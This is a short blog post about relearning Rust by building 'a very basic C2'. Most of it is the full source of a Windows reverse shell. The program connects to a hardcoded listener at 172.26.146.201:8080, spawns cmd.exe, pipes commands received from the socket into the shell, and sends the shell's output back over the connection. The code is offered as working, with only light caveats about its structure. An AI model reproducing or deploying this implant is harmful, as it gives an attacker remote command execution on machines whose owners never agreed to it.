The first that that I programmed in Rust was before version 1 was released. Rust is currently sitting at version 1.46. I wanted a quick project to review the language in the current form. The project I decided on was to write a very basic C2.
The code below launches a TCP stream that connects to a netcat session and starts a command session that redirects the STDIO and STDERR streams.
This project allowed great insight into how threading worked in Rust. Below is the code that I ended up with. Again, this is very basic and the structure could be cleaned up.
#![allow(unused)]
#[macro_use]
extern crate lazy_static;
use std::process::ChildStdin;
use std::process::Command;
use std::io::Write;
use std::process::Stdio;
use std::str;
use std::io::{BufRead, BufReader, BufWriter};
use std::thread;
use std::time;
use std::io::Read;
use std::sync::{Arc, Mutex};
use std::io::{stdin,stdout};
use std::net::TcpStream;
use std::io::prelude::*;
use tokio::io::split;
struct tcpStructure {
tStream : TcpStream,
readStream : TcpStream
}
fn main() {
let mut tcpstream = TcpStream::connect("172.26.146.201:8080").unwrap();
let mut read = tcpstream.try_clone().unwrap();
let mut goodStruct = tcpStructure {tStream: tcpstream, readStream: read};
//goodStruct.tStream = tcpstream;
goodStruct.tStream.write("Test".as_bytes()); //tmp
startProcess(goodStruct);
}
/// Pipe streams are blocking, we need separate threads to monitor them without blocking the primary thread.
fn child_stream_to_vec<R>(mut stream: R) -> Arc<Mutex<Vec<u8>>>
where
R: Read + Send + 'static,
{
let out = Arc::new(Mutex::new(Vec::new()));
let vec = out.clone();
thread::Builder::new()
.name("child_stream_to_vec".into())
.spawn(move || loop {
let mut buf = [0];
match stream.read(&mut buf) {
Err(err) => {
println!("{}] Error reading from stream: {}", line!(), err);
break;
}
Ok(got) => {
if got == 0 {
break;
} else if got == 1 {
let mut t = match vec.lock() {
Ok(v) => v ,
Err(e) => {
println!("Unable to get lock");
panic!();
}
};
t.push(buf[0]);
// //.expect("!lock").push(buf[0])
} else {
println!("{}] Unexpected number of bytes: {}", line!(), got);
break;
}
}
}
})
.expect("!thread");
out
}
fn GetInput(mut Stream: ChildStdin)
//where
//ChildStdin: Read + Send + 'static,
{
thread::Builder::new()
.name("child_stream_to_vecy".into())
.spawn(move || loop {
let mut s=String::new();
let _= stdout().flush();
stdin().read_line(&mut s).expect("Did not enter a correct string");
Stream.write_all (&s.into_bytes());
}
).expect( "!thread");
}
fn GetTCPStream(mut xz : TcpStream,mut Stream: ChildStdin) {
thread::Builder::new()
.name("child_stream_read".into())
.spawn(move || loop {
let mut line;
line = [0; 512];
let result = xz.read(&mut line);
match result {
Ok(n) => {
let s = String::from_utf8_lossy(&line);
Stream.write(&line[0..n]);
//Stream.write_all (&s.into_bytes());
//println!("Received {}",s);
},
_ => {}
}
}
).expect ("!tcpstreamLoop");
}
fn startProcess(mut tstruct : tcpStructure) -> String {
let mut output = Command::new("cmd.exe").stdout(Stdio::piped()).stdin(Stdio::piped()).stderr(Stdio::piped()).spawn().unwrap();
let ten_millis = time::Duration::from_millis(500);
let now = time::Instant::now();
thread::sleep(ten_millis);
let out = child_stream_to_vec(output.stdout.take().expect("!stdout"));
let err = child_stream_to_vec(output.stderr.take().expect("!stderr"));
let mut stdin = match output.stdin.take() {
Some(stdin) => stdin,
None => panic!("!stdin")
};
GetTCPStream(tstruct.readStream,stdin);
loop {
let mut out = out.lock().unwrap();
let y = String::from_utf8(out.clone()).unwrap();
tstruct.tStream.write(y.as_bytes());
print!("{}",y);
for n in 0..y.len() {
out.remove(0);
}
std::mem::drop(out);
std::io::stdout().flush();
}
return format!("{}","ok");
}